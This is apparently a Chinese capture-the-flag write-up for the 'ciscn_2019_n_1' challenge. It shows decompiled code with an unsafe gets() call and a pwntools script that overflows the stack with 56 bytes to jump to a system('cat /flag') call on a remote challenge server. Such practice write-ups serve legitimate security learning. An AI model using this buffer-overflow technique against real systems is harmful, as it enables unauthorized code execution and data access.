ciscn_2019_n_1 WP

Posted by Mr.Be1ieVe on Monday, January 13, 2020
int func()
{
  int result; // eax
  char v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

看见==我还尝试了一下’a’ * offset + ‘11.28215’……

然后南梦一句:这不是有gets,你直接跳system不就好了。。。。

exp

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
#sh = process("./ciscn_2019_n_1")
sh = remote("node3.buuoj.cn",25925)
elf = ELF("./ciscn_2019_n_1")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh.recvuntil("er.")
binsh = 0x04006BE
payload = "a" * 56 
payload += p64(binsh)
sh.sendline(payload)
sh.interactive()

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付